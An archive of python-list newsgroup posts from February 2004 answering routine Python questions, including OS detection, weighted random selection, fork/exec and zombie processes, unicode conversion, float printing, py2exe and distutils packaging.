Date: Fri, 27 Feb 2004 10:53:59 +0100
Subject: detecting the operating system
References: <c1mtcj$ofv$1@news-int.gatech.edu>
Message-ID: <c1n43o$j3q$06$1@news.t-online.com>

Woojay Jeon wrote:

> Does anybody know how to detect the operating system under which the
> current Python program is running, especially whether it's Windows or
> Unix? I have a program that needs to search for files in "c:\test" if it's
> running under Windows, and "/home/user/test" if it's running under Unix,
> so the simplest solution I can think of is to detect the operating system,
> but if anyone could suggest a workaround, that would also be fine.

Instead of sys.platform, os.name might be helpful as it is less specific. I
think you will get os.name == "posix" for Unix/Linux etc. and os.name ==
"nt" for win32.

Peter


From paddy3118 at netscape.net  Fri Feb  6 14:09:32 2004
From: paddy3118 at netscape.net (Paddy McCarthy)
Date: 6 Feb 2004 11:09:32 -0800
Subject: Smarter way of doing this?
References: <mailman.1247.1076000449.12720.python-list@python.org>
Message-ID: <2ae25c6b.0402061109.71cd3f96@posting.google.com>

"Tim Peters" <tim.one at comcast.net> wrote in message news:<mailman.1247.1076000449.12720.python-list at python.org>...
> [Max M]
> > ...
> > I am interrested in getting a result as a propertion of the
> > probablilty, or more correctly in this case, the frequency. If I want
> > it as probabilities I just have to normalise the sim to 1.0.
> >
> > This has the advantage that the frequencies can be expressed as
> > integers too. This is nice in my Markov chain class that count words
> > in text, etc.
> >
> > In my example below each letter should be occur 50% of the times of
> > the previous letter.
> 
> ...
> 
> > probabilities = [16, 8, 4, 2, 1]
> > elements = ['a', 'b', 'c', 'd', 'e']
> 
> When the weights are integers, a simpler and faster way to proceed is to
> build a list containing each element a number of times equal to its weight:
> 
> alist = ['a'] * 16 + ['b'] * 8 + ['c'] * 4 + ['d'] * 2 + ['e']
> 
> Then just invoke random.choice on the list.  This is a fast, constant-time
> weighted selection technique, but consumes space proportional to the sum of
> the weights.

Indeed, I use something similar in my code.
I allow a dictionaries value to represent the integer weight when
randomly choosing the dictionary keys. I use the following code to
expand the dict to a list:

>>> data=dict(a=3,b=2,c=4)
>>> data
{'a': 3, 'c': 4, 'b': 2}
>>> reduce(lambda x,y: x+y,[[x[0]]*x[1] for x in data.items()] )
['a', 'a', 'a', 'c', 'c', 'c', 'c', 'b', 'b']
>>> 

Cheers, Paddy.

Donald 'Paddy' McCarthy


From jcarlson at nospam.uci.edu  Fri Feb  6 12:24:13 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 09:24:13 -0800
Subject: Best Beginner's Guide To Python?
In-Reply-To: <xqx7jz0d3op.fsf@cola2.ca.boeing.com>
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
	<IjHUb.32057$P17.24576@fed1read03>
	<xqx7jz0d3op.fsf@cola2.ca.boeing.com>
Message-ID: <c00io8$jkb$3@news.service.uci.edu>

> When you say you must indent every line and then undent every
> line....are you using an editor that knows how to do a block
> shift-right and shift-left?  In emacs, you just grab the code with a
> sweep of the mouse and hit "C-c >" or "C-c <".  I haven't timed it,
> but it would be in the neighborhood of (and maybe faster) than
> inserting and deleting curly braces.

I've discovered one of the non-minor differences between an editor that 
doesn't care about the user and one that does, is the ability to indent 
and dedent blocks of code.  If the parent doesn't have that ability in 
their editor, then the developer honestly doesn't care about the users 
of the editor.

  - Josiah


From seberino at spawar.navy.mil  Tue Feb  3 01:56:04 2004
From: seberino at spawar.navy.mil (Christian Seberino)
Date: 2 Feb 2004 22:56:04 -0800
Subject: in c extension what is easiest way to build a (PyObject) list from
	an array of doubles?
Message-ID: <bf23f78f.0402022256.7ace879c@posting.google.com>

In c extension what is easiest way to build a (PyObject) list from an
array of doubles?

I don't think I can do "return Py_BuildValue(...) to make a list from
an array can I???

How else can I build and return a list??

Thanks!

Chris+


From johng2001 at rediffmail.com  Fri Feb  6 00:13:14 2004
From: johng2001 at rediffmail.com (John)
Date: 5 Feb 2004 21:13:14 -0800
Subject: Python+CORBA Vs EJB!
References: <ba129ce7.0402041004.54228905@posting.google.com>
	<9ukUb.6565869$be.1085087@news.easynews.com>
Message-ID: <ba129ce7.0402052113.4b4cccb@posting.google.com>

Irmen,
I should have been more clear. When I put "Distributed Objects", I was
just referring to state preserving instances (that works for both
components [beans] or objects) as opposed to simple procedural (RPC)
techniques.

You may still be right about my comparing wrong things. I don't have a
good understanding of CORBA services yet and if they can be compared
to EJB at all. My goal is simply to write language independent object
oriented middleware with minimal fuss.

Joe,
While Pyro is nice, it is Python specific. EJB may be primarily Java
specific but thanks to 3rd party support, one can get to it from other
languages. My clients are not going to be in Python. If they are going
to be in Delphi, I am not going to have a problem with Pyro thanks to
"Python for Delphi" but I am not sure which language they are going to
be in yet.


From sdb1031 at hotmail.com  Thu Feb  5 21:11:17 2004
From: sdb1031 at hotmail.com (Steve Briley)
Date: Thu, 05 Feb 2004 21:11:17 -0500
Subject: MS Access datatype mismatch error
Message-ID: <Law9-F119QABZTW5k1E0001444e@hotmail.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040205/e031c57f/attachment.html>

From tjreedy at udel.edu  Mon Feb  2 11:25:05 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 2 Feb 2004 11:25:05 -0500
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
Message-ID: <bvltkg$7s4$1@sea.gmane.org>


"Klaus Neuner" <klaus_neuner82 at yahoo.de> wrote in message
news:3e96ebd7.0402020750.3b0b9b82 at posting.google.com...
> Hello,
>
> I would like to understand the reason for the following difference
> between dealing with lists and dealing with strings:

You are doing different operations, and hence should not expect the same
result.


> >>> string1 = "bla"
> >>> string2 = string1
> >>> string1 = string1 + "bla"

Here you add two strings together to get a third, which you bind back to
the first name

> >>> string1
> 'blabla'
> >>> string2
> 'bla'

> >>> list1 = [1,2]
> >>> list2 = list1
> >>> list1.append(1)

Here you mutate a list in place, which you can do because lists are mutable
and which you cannot do with strings.  To parallel your string operation,
try

list1 = list1 + [1,2]

before you mutate list1 and you should get [1,2,1,2]


> >>> list1
> [1, 2, 1]
> >>> list2
> [1, 2, 1]

Terry J. Reedy






From jcarlson at nospam.uci.edu  Tue Feb 17 23:32:16 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 17 Feb 2004 20:32:16 -0800
Subject: the best book for learning python !?
In-Reply-To: <b15d2792.0402161313.6902cc27@posting.google.com>
References: <b15d2792.0402161313.6902cc27@posting.google.com>
Message-ID: <c0uq17$epv$1@news.service.uci.edu>

> I was just wondering ( yeah I know it's not the first time this
> question pops up )
> what would be the best 2 or 3 books for someone who wants to learn
> Python , already experienced in other non-OOP languages .It takes time
> to browse endlessly on the net , in a bookshop or a library for THOSE
> books that are really useful !

Read the Python Tutorial included with Python, and browse through the 
standard library.

  - Josiah


From martin at v.loewis.de  Tue Feb 10 15:26:54 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 10 Feb 2004 21:26:54 +0100
Subject: package similar to XML::Simple
In-Reply-To: <402931E4.C1E50E92@engcorp.com>
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com>
Message-ID: <c0beqb$2uv$00$1@news.t-online.com>

Peter Hansen wrote:
> Then there are very few XML parsers in the world, if one includes, say,
> namespaces and validation as part of XML.

Namespaces are clearly *not* part of the XML recommendation (but part
of the XML namespaces recommendation). Validation is optional in the
XML recommendation. Character references are not.

Regards,
Martin



From kkto at csis.hku.hk  Sun Feb  8 22:33:36 2004
From: kkto at csis.hku.hk (Isaac To)
Date: Mon, 09 Feb 2004 11:33:36 +0800
Subject: fork, exec, and disown
References: <pan.2004.02.08.11.36.25.192799@ifrance.com>
	<7iy8rdd51u.fsf@enark.csis.hku.hk>
	<pan.2004.02.08.16.37.50.548181@ifrance.com>
Message-ID: <7in07tj59r.fsf@enark.csis.hku.hk>

>>>>> "Benoit" == Benoit Dejean <bnet at ifrance.com> writes:

    Benoit> Le Sun, 08 Feb 2004 22:22:37 +0800, Isaac To a ?crit?:
    >> You can do that, but if you run ps you'll notice that all you
    >> processes get into a Z (zombie), <defunct> state.  Sooner or later
    >> you'll have the fork() giving you error that "resource temporarily
    >> not available" because all process numbers are used up.

    Benoit> you're right, i haven't noticed that

    >> With the "double fork" technique you can avoid this by adding a wait
    >> at the end:
    >> 
    >> def fork_exec_disown(cmd, dir="~"): if os.fork() == 0: if os.fork():
    >> sys.exit(0) os.chdir(os.path.expanduser(dir)) cmd = cmd.split()
    >> os.execvp(cmd[0], cmd) os.wait()

    Benoit> ok, i use this

    >> The wait will wait only for the child, not the grand-child.  If you
    >> don't have that you'll start accumulating zombies.  In some OS you
    >> can avoid the double forking overhead by manipulating the signal
    >> handler of SIGCHLD (so that it has the flag SA_NOCLDWAIT and has
    >> handler SIG_IGN), but that is more platform dependent than fork().

    Benoit> could you tell me more about that ?  because i am really
    Benoit> interested in. i want to have the best/fastest replacement for
    Benoit> os.system

E.g., in my Linux box, the following won't leave any zombie:

import os
import time
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def fork_exec_disown(cmd, dir="~"):
    if os.fork() == 0:
        os.chdir(os.path.expanduser(dir))
        cmd = cmd.split()
        os.execvp(cmd[0], cmd)
for i in xrange(1000):
    fork_exec_disown("true")
time.sleep(100)

On the other hand, the effect is global, so once you do that you cannot
expect you can wait for process that have already been dead.  E.g., the
following no longer work:

>>> def f():
...     pid = os.fork()
...     if pid == 0:
...         os.execlp("true", "true")
...     time.sleep(1)
...     os.wait()
... 
>>> f()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 6, in f
OSError: [Errno 10] No child processes

So double forking has its merits, since it is per-child rather than
per-parent.  And modern OS actually do fork() rather efficiently anyway.

Regards,
Isaac.


From per.corell at privat.dk  Sun Feb  8 09:35:26 2004
From: per.corell at privat.dk (P.C.)
Date: Sun, 8 Feb 2004 15:35:26 +0100
Subject: Had Phyton suggested
Message-ID: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>

Hi

My son like many youngsters been around computers, fast online games, he
acturly for main part learned to read and write ,beside his second language
english , and may I say he is quite good at it age 15 ,  but as some of you
know, 3D games also offer edditors and script options , or rather
programming choppers and dust clouds in scenes.
Now beside my bad english, my problem is, that I like him to learn decent
programming ------- sure I know the best way to learn is looking at source
code and change a bit here or there to se the actural results, but with his
knowleage about programming he proberly fail to se how functions work and
even he made some quite nice effects in the scenes in "Operation falshpoint
resistance" , I just know that he would profit from learning from buttom up,
a real programming language.
Now from an old friend I been advised Phyton, and as I know a bit about
programming ( Lisp ) , I agrea after checking a few links ; guess Phyton is
very much C++ like ,so investing in his interests programming scenes for
games, could be in his faviour .
Now I agrea that my own knowleage about compilers and more advanced
programming are limited, and my fear is that I will need some sort of C.
compiler causing day's and weeks of trouble setting up ------- or what do
the group think ; my question is, if there today are compilers that is set
up and work as simple as for instance the first Pascal compilers .
Well I agrea that my own trouble programming, never been the actural
programming, but all the silli trouble with compilers, as you se amatures
don't care if the program spend a bit more memmory ,as long as it work and
acturly produce compiled code.
Guess my question is, if it is possible to find a compiler that is fit for
amatures, one that an amature will not have to fight before it is ready to
use. One where you ,as when I learned programming , don't need to be a
compiler specialist before you even learn programming.

P.C.




From bdelmee at advalvas.REMOVEME.be  Tue Feb 24 14:59:14 2004
From: bdelmee at advalvas.REMOVEME.be (=?ISO-8859-1?Q?Bernard_Delm=E9e?=)
Date: Tue, 24 Feb 2004 20:59:14 +0100
Subject: Regular expressions help
In-Reply-To: <lf30x31q4x40.xnbkp6rqpcsr$.dlg@40tude.net>
References: <6af33541.0402241054.77ae5c61@posting.google.com>
	<403ba857$0$1110$6c56d894@feed0.news.be.easynet.net>
	<lf30x31q4x40.xnbkp6rqpcsr$.dlg@40tude.net>
Message-ID: <403bad96$0$1117$6c56d894@feed0.news.be.easynet.net>

 > That one matches the "name george" part of "name georgeharry" as well,
 > which he didn't want.

Indeed; my bad. I mostly wanted to mention redemo, for which
the windows installer should create a shortcut, really...



From ivoras at __geri.cc.fer.hr  Mon Feb  9 18:13:21 2004
From: ivoras at __geri.cc.fer.hr (Ivan Voras)
Date: Tue, 10 Feb 2004 00:13:21 +0100
Subject: unicode codecs
In-Reply-To: <c092j3$mbj$00$1@news.t-online.com>
References: <c08sbk$c4u$1@bagan.srce.hr> <c092j3$mbj$00$1@news.t-online.com>
Message-ID: <c0946f$f89$1@bagan.srce.hr>

Peter Otten wrote:

> You can either convert all strings to unicode or to iso-8859-2.
> A hands on approach:
> 
> 
>>>>u,s
> 
> (u'R\xfcbe', 'R\xfcbe')
> 
>>>>u+s
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 1:
> ordinal not in range(128)
> 
> This error is prevented by an explicit conversion:

Thank you - I eventually found that out the hard way :) It was a mix of 
some bugs from my code and the win32api library code, and I was seeing 
exeptions pop up from both of them depending on what conditions were 
met. Eventually I seem to have found a workaround for the library bugs 
but I don't like it - it's a mixup of using unicode and code-page and 
converting around when necessary. The good thing is that it doesn't seem 
to influence performance a lot...

(Apparently, win32file.FindFilesW does something with its parameter that 
breaks with above error when the parameter is unicode.)

Thanks for the help, all!


From ark at acm.org  Mon Feb 16 23:03:58 2004
From: ark at acm.org (Andrew Koenig)
Date: Tue, 17 Feb 2004 04:03:58 GMT
Subject: Simple addition
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
	<wzisi7b9nj.fsf@cs.uu.nl> <3OadnQovPKs4nqzdRVn-hQ@comcast.com>
	<ad052e5c.0402161649.5e629151@posting.google.com>
Message-ID: <OogYb.34884$hR.857112@bgtnsc05-news.ops.worldnet.att.net>

> > > Unfortunately most C libraries only use the stupid algorithm which
often
> > > gives some useless digits.
> >
> > They are not useless if you want more accuracy about what you have
>
> Why not display the *exact* decimal representation,
> "0.1000000000000000055511151231257827021181583404541015625"?

One can do better than that--or at least something I think is better.

Many moons ago, Guy Steele proposed an elegant pair of rules for converting
between decimal and internal floating-point, be it binary, decimal,
hexadecimal, or something else entirely:

    1) Input (i.e. conversion from decimal to internal form) always yields
the closest (rounded) internal value to the given input.

    2) Output (i.e. conversion from internal form to decimal) yields the
smallest number of significant digits that, when converted back to internal
form, yields exactly the same value.

This scheme is useful because, among other things, it ensures that all
numbers with only a few significant digits will convert to internal form and
back to decimal without change.  For example, consider 0.1.  Converting 0.1
to internal form yields the closest internal number to 0.1.  Call that
number X.  Then when we write X back out again, we *must* get 0.1, because
0.1 is surely the decimal number with the fewest significant digits that
yields X when converted.

I have suggested in the past that Python use these conversion rules.  It
turns out that there are three strong arguments against it:

    1) It would preclude using the native C library for conversions, and
would probably yield different results from C under some circumstances.

    2) It is difficult to implement portably, and if it is not implemented
portably, it must be reimplemented for every platform.

    3) It potentially requires unbounded-precision arithmetic to do the
conversions, although a clever implementation can avoid it most of the time.

I still think it would be a good idea, but I can see that it would be more
work than is feasible.  I don't want to do the work myself, anyway :-)




From trevp at trevp.net  Thu Feb 26 21:30:30 2004
From: trevp at trevp.net (Trevor Perrin)
Date: 26 Feb 2004 18:30:30 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
	<2004022617475016807%bob@redivicom>
	<7x7jy9igvg.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0402261830.7e803327@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7x7jy9igvg.fsf at ruckus.brouhaha.com>...
> Bob Ippolito <bob at redivi.com> writes:
> > Have you seen: http://trevp.net/tlslite/ ?
> 
> No, hadn't seen it.  Interesting, thanks.  It looks like it's not a
> full blown implementation right now (no real attempt to handle
> certificates) but that it's moving in that direction.

Hi Paul,

If you have an X.509 cert you can use it; and you can authenticate the
other guy based on his X.509 fingerprint.

There's no path validation or cert creation.  My view is that certs
are a disaster, and I'm doing users a *favor* by keeping them at arm's
length :-).  Fingerprints are easier to use, so that's what the
library encourages.

Anyways, I don't plan to add more X.509 support.  If someone else
wants to, it is open-source...

Trevor


From lande_suhas at yahoo.co.in  Sat Feb  7 01:01:21 2004
From: lande_suhas at yahoo.co.in (suhas)
Date: 6 Feb 2004 22:01:21 -0800
Subject: can I use GUI in python
Message-ID: <36a4d24c.0402062201.313db3ce@posting.google.com>

Hi all,
To give a good look to my project I want to use a GUI ,can python
language satisfy my requirments for good GUI and good look?

If not,which is the another option for python?


From bart_nessux at hotmail.com  Mon Feb 23 08:31:03 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Mon, 23 Feb 2004 08:31:03 -0500
Subject: if statements with or w/o else statements
Message-ID: <c1cvan$80l$1@solaris.cc.vt.edu>

Should an if statement have a corresponding else statement? Or, is it OK 
to have an if statement by itself. For completeness, it seems the two 
should be together, but from experience I know that a if statement by 
itself works just fine. Below is an example:

if x >=0:
    DO SOMETHING

Would it be better, or perhaps more complete, written like this:

if x >=0:
    DO SOMETHING
else:
    DO SOMETHING ELSE



From jzgoda at gazeta.usun.pl  Sun Feb 29 16:08:21 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sun, 29 Feb 2004 21:08:21 +0000 (UTC)
Subject: Limitations of 30 Day Eval?
References: <LUq0c.1368$i_2.9683@news20.bellglobal.com>
	<rVq0c.1369$i_2.9706@news20.bellglobal.com>
Message-ID: <c1tkc5$f3n$4@atlantis.news.tpi.pl>

Markus Wankus <markus_wankusGETRIDOFALLCAPS at hotmail.com> pisze:

> Dumbass...sorry - wrong newsgroup.  Damn this new newsreader!

Use slrn. With ^C you could cancel this message.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From jarausch-remove at igpm.rwth-aachen.de  Wed Feb 25 04:59:29 2004
From: jarausch-remove at igpm.rwth-aachen.de (Helmut Jarausch)
Date: Wed, 25 Feb 2004 10:59:29 +0100
Subject: Py_BuildValue format code for unsigned int ?
Message-ID: <c1hrm1$92r$1@nets3.rz.RWTH-Aachen.DE>

Hi,

is there a format code to return an unsigned int to Python via 
Py_BuildValue? Just using code 'i' gives negative values for values 
greater than 2**31.

I've tried the code 'I' (with python 2.4 cvs) but that's not accepted.

Many thanks for a hint,

---
Helmut Jarausch
RWTH-Aachen University
Germany


From sridharinfinity at yahoo.com  Sat Feb 14 05:57:43 2004
From: sridharinfinity at yahoo.com (Sridhar R)
Date: 14 Feb 2004 02:57:43 -0800
Subject: distutils possibilities
Message-ID: <930ba99a.0402140257.ac37687@posting.google.com>

I learnt that distutils can be used to package python modules and
packages.  Fine it does that well.

Suppose I am writing an python application (not package or module),
and suppose that I am using Linux.  Where should I install the python
source files and bin scripts and data in my /usr directory?

Should the python (.py) files go into /usr/lib/pythonXX/site-packages
or /usr/lib/myapp or /usr/share/myapp ?

Should the data files go to /usr/share/myapp or anything else?

Should the pixmap files go to /usr/share/pixmaps/myapp?

I can write setup.py to do all these things.  But in general are there
any standards for installation directories? Note that I am asking this
for python _applications_ not packages like PIL,Numeric.  Hope you get
me.  There are python source files, executable scripts (/usr/bin) and
data files distributed in a typical applications.

Finally, since the installation directory can vary (as the sys admin
can customize the prefix and also during development the prefix is
usually current directory), I need pythonic solution for such a
dynamic constants.py file.
In automake world, one would write constants.py.in and transform this
into constants.py.  Rememerber constants.py file contain different
values during development (prefix=/home/sri/Projects/myapp) and
different values during deployment (prefix=/usr/)  Again, I can follow
my logic, to create such a constants.py script, by coding the logic in
setup.py script and supporting extra command line option.  But are
there any standard tool or any support from distutils to do such
things?

Now a bit of relaxation, what abt installtion directories in other
platforms?


From tim.one at comcast.net  Thu Feb  5 00:45:10 2004
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 5 Feb 2004 00:45:10 -0500
Subject: larger seeds for Mersenne
In-Reply-To: <1075956115.12166.13.camel@zen.t011.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGECHIMAB.tim.one@comcast.net>

[jt]
> I'm trying to learn how to use a seed for the random module that is
> larger than the integer produced by python's built-in hash(x)
> function.
>
> From the documentation, it says:
>
> "If x is not None or an int or long, hash(x) is used instead. If x is
> an int or long, x is used directly."
>
> So if I through something other than an int or long, it gets hashed
> down to an int.

Right.

> Which is what, 10 bytes or so?

Generally 4 bytes on a 32-bit machine, or 8 bytes on a 64-bit machine.  It's
the same as the platform C long int.

> So it seems like it would be preferable to use something like md5 or
> sha to hash because then I'd get 16 or 20 bytes for the seed.  But the
> problem is that md5 and sha don't hash to a long.  They include lots of
> other printable and nonprintable characters.

The .hexdigest() methods are what you're looking for.

> Does anyone know of a hashing algorithm that hashes to a long that's
> 16-20+ bytes long?  Thanks for any help.

>>> import sha
>>> sha.new('tim').hexdigest()
'5ee0edb9e2229c0838f1959779f1949031de0123'
>>> int(_, 16)
541661208246500712261618375284272868275380945187L
>>> md5.new('tim').hexdigest()
'b15d47e99831ee63e3f47cf3d4478e9a'
>>> int(_, 16)
235757697420119658189499990054961385114L
>>>




From bkelley at wi.mit.edu  Sun Feb 29 18:46:44 2004
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Sun, 29 Feb 2004 23:46:44 GMT
Subject: A database-abstraction package?
In-Reply-To: <EZr0c.7454$rj4.100210@news2.e.nsc.no>
References: <EZr0c.7454$rj4.100210@news2.e.nsc.no>
Message-ID: <ERu0c.149923$jk2.586736@attbi_s53>

Thomas Weholt wrote:
> Hi,
> 
> I need to make my project work with SQLite, MySQL and Postgresql, but I
> don't want to create and maintain a set of table-schemas for all of them.
> I'd rather specify this information in a common format and then let some
> piece of code generate and run the sql-statements to create the tables in
> the database. When I insert, update or delete records I also want a common
> interface. In my project I use alot of auto-increment primary keys so this
> would have to be handled as well.
> 
You might consider sqlobject

http://sqlobject.org/

I think it will handle what you want, I have used it with some success.

Brian



From theller at python.net  Fri Feb 20 02:55:09 2004
From: theller at python.net (Thomas Heller)
Date: Fri, 20 Feb 2004 08:55:09 +0100
Subject: py2exe problem - need wsvc6?
References: <fc96c968.0402191803.62f9465a@posting.google.com>
	<40357A5B.5090701@metrony.com>
	<r2fZb.52404$1S1.39926@nwrddc01.gnilink.net>
Message-ID: <eksq9ode.fsf@python.net>


> "Aaron" <aaron at metrony.com> wrote in message
> news:40357A5B.5090701 at metrony.com...
>> You do not need a C compiler to make a standalone application.

MSVC6 is *only* required if you want to build py2exe itself from the
sources.  If you install the binary package, you won't need it.  More
below.

>> In version 0.5 the setup.py files changed a bit.
>>
>> First of all can you run your python script on the commandline?
>>
>> I have a hello world app as follows:
>>
>> #pTest.py
>> print "Hello World"
>>
>> #setup.py
>> from distutils.core import setup
>> import py2exe
>> setup(name='Test',
>>        description="a Test",
>>        version='0.1.0',
>>        console=['pTest.py'])
>>
>>
>> #build.bat
>> e:\Python23\python.exe setup.py py2exe
>>
>> Try to build this app and see if your py2exe is setup correctly.

"Elder" <tim at axtelle.com> writes:

> It just opens a window which immediately closes.

What did you expect ;-) ? The exe is a console program, when you
double-click it in the explorer, it opens a console ("command prompt")
window, prints 'Hello, World', and then the console window closes again
- probably faster then you can recognize the output.

To see what this program does, you should open a command prompt window
yourself, navigate (with 'cd directory') to the directory where your exe
file is, and start it by entering 'pTest.exe'.

You can prevent that the console window in the first case closes
immediately by adding a 'raw_input()' call to the script pTest.py at the
end.

Thomas




From __peter__ at web.de  Tue Feb 17 03:03:31 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 17 Feb 2004 09:03:31 +0100
Subject: keyword that stops further processing of a Python script
References: <2c83305ajs1vgqt65oo97t15b82grqjd7u@4ax.com>
Message-ID: <c0shsj$i8t$02$1@news.t-online.com>

Avi Kak wrote:

>   Does Python provide a token like Perl's __END__
>   that would mark the logical end of a Python script
>   which could occur before the actual end of the file.
> 
>   I have found Perl's __END__ token to be very useful
>   for debugging scripts.  So I was wondering if
>   Python provided a similar facility.

I use sys.exit("debug") which exits from the logical rather than the text
flow. As an alternative you could reserve one kind of docstrings to
neutralize arbitrary chunks of code - e. g. I never use ''' ... '''. Last
not least: every decent editor provides comment/uncomment commands.

Peter


From bh at intevation.de  Wed Feb 11 04:24:38 2004
From: bh at intevation.de (Bernhard Herzog)
Date: Wed, 11 Feb 2004 10:24:38 +0100
Subject: hide sourcecode
References: <bvtm5f$pgq$00$1@news.t-online.com>
	<bvtpsp$126$1@news.service.uci.edu>
	<mailman.1261.1076006359.12720.python-list@python.org>
	<bvu6m3$cg1$1@news.service.uci.edu>
	<84fc4588.0402052351.5fc254ae@posting.google.com>
	<40294aa5$7@giga.realtime.net>
Message-ID: <6q4qtyc6jt.fsf@salmakis.intevation.de>

"Ira Baxter" <idbaxter at semdesigns.com> writes:

> One way is to hide the source as obfuscated "cleartext".

As usual Python comes with batteries included:

# -*- coding=rot13 -*-

cevag "uryyb ebg13 jbeyq"



:-)

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Skencil                                http://sketch.sourceforge.net/
Thuban                                  http://thuban.intevation.org/


From exarkun at intarweb.us  Thu Feb 12 10:08:33 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 12 Feb 2004 10:08:33 -0500
Subject: correct way of running a sub-process
In-Reply-To: <Pine.GSO.4.44.0402120604380.4841-100000@amy3.Stanford.EDU>
References: <Pine.GSO.4.44.0402120604380.4841-100000@amy3.Stanford.EDU>
Message-ID: <20040212150833.GB10294@intarweb.us>

On Thu, Feb 12, 2004 at 06:10:01AM -0800, Daniel Timothy Bentley wrote:
> What is the (hopefully unique) obvious way of runnign a sub-process if I
> want to get the exit code and input without resorting to multi-threading?
> 
> It seems like I should be able to do the following:
> 
> foo = popen2.Popen3(cmd)
> foo.wait()
> foo.fromchild.read()
> 
> But, it seems like on my system (a Sun Ultra 30 running Solaris 8) this
> will hang if the input happens to have more than about 12k of text.  I'm
> guessing this is a buffersize issue, but it would be a mistake to assume
> at compile time an output size for the child process.
> 
> Couldn't wait be modified to actually wait until a process exits by
> buffering?
> 
> While we're at it, is there any way to read/wait with a time-out?  I.e.,
> read more than 0 bytes, unless it takes more than a time-out value, so I
> can run sub-processes that terminate?
> 

  (Untested)

    from twisted.internet import protocol, reactor

    class PrintyProtocol(protocol.ProcessProtocol):
        bytes = ''
        errBytes = ''

        def outReceived(self, bytes):
            self.bytes += bytes

        def errReceived(self, bytes):
            self.errBytes += bytes

        def processEnded(self, reason):
            print 'Process done.  Got:', repr(self.bytes), repr(self.errBytes)
            reactor.stop()

    reactor.spawnProcess(PrintyProtocol(), cmd, args=(cmd,))
    reactor.run()

  Jp



From and-google at doxdesk.com  Thu Feb 26 11:00:14 2004
From: and-google at doxdesk.com (Andrew Clover)
Date: 26 Feb 2004 08:00:14 -0800
Subject: simple cgi 'system'?
References: <mailman.136.1077744389.8594.python-list@python.org>
Message-ID: <2c60a528.0402260800.3d67ada5@posting.google.com>

gabor <gabor at z10n.net> wrote:

> i know about the cgi module, but most of times i need something a little
> higher level.

The cgi module is slightly mis-named. It's for reading in HTML form
submissions. You don't need to use it to write a CGI script if you're
just going to return a 503 anyway.

The 'print all the header stuff manually' solution:

  #!/path/to/python
  print 'Status: 503 Service Unavailable'
  print

There isn't a particular module to simplify writing this sort of script
as it is already completely trivial!

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/


From michael at foord.net  Sat Feb 21 12:53:16 2004
From: michael at foord.net (Fuzzyman)
Date: 21 Feb 2004 09:53:16 -0800
Subject: Python program organization
References: <6fGZb.25259$tM5.21166@fed1read04>
Message-ID: <8089854e.0402210953.166cef07@posting.google.com>

Derek W <whitedw at NOSPAMcox.net> wrote in message news:<6fGZb.25259$tM5.21166 at fed1read04>...
> Hello all,
> 
[snip....]
>Would this package then go under Python's 
> site-packages directory when the program is installed?  Would 
> distribution of a program like this use distutils?
> 
> Thank you,
> Derek

I'm a relative newbie and have only ever written medium sized (or
small)programs... *but* python will import modules from the same
directory as the main script is running. Several of my programs are
broken up into modules - and then all kept in the same directory.

Regards,


Fuzzyman

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From cookedm+news at physics.mcmaster.ca  Thu Feb 26 16:47:08 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Thu, 26 Feb 2004 16:47:08 -0500
Subject: Asterisk sign in python
References: <mailman.159.1077796055.8594.python-list@python.org>
	<103ruclu1lbcdb@news.supernews.com>
Message-ID: <qnkr7whsecj.fsf@arbutus.physics.mcmaster.ca>

At some point, "John Roth" <newsgroups at jhrothjr.com> wrote:

> "sarmin" <sarmin_kho at yahoo.com> wrote in message
> news:mailman.159.1077796055.8594.python-list at python.org...
>> Hi Pythoners...
>>
>> It seems to me the Asterisk (*) sign in python means many things...
>>
>> if a python code line looks like this:
>> def__init__(self, func, *param):
>>   bla bla bla...
>>
>> and then u have something like this:
>> func(*param)
>>
>> and then something like this:
>> def Wrapper(select, func, param):
>>    bla bla bla...
>>
>> I took this section of code from the 'Python Cookbook' textbook page
>> 223 about 'Running Functions in the future'...
>>
>> I just cant figure out what is the asterisk (*) sign for and what is
>> the different between *param and param??
>>
>> Many thanks Pythoners...
>>
>> Regards
>> sarmin
>
> It's for variable length parameter lists. In a function
> definition, one * is a list of additional positional
> parameters, two **s is a dictionary of additional
> keyword parameters.
>
> In a function call, one * is a list of additional
> positional parameters, two **s is a dictionary
> of additional keyword parameters.

Don't forget multiplicaton:

2 * 2

and power

2 ** 2

:-)

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From paul at prescod.net  Wed Feb 18 07:55:30 2004
From: paul at prescod.net (Paul Prescod)
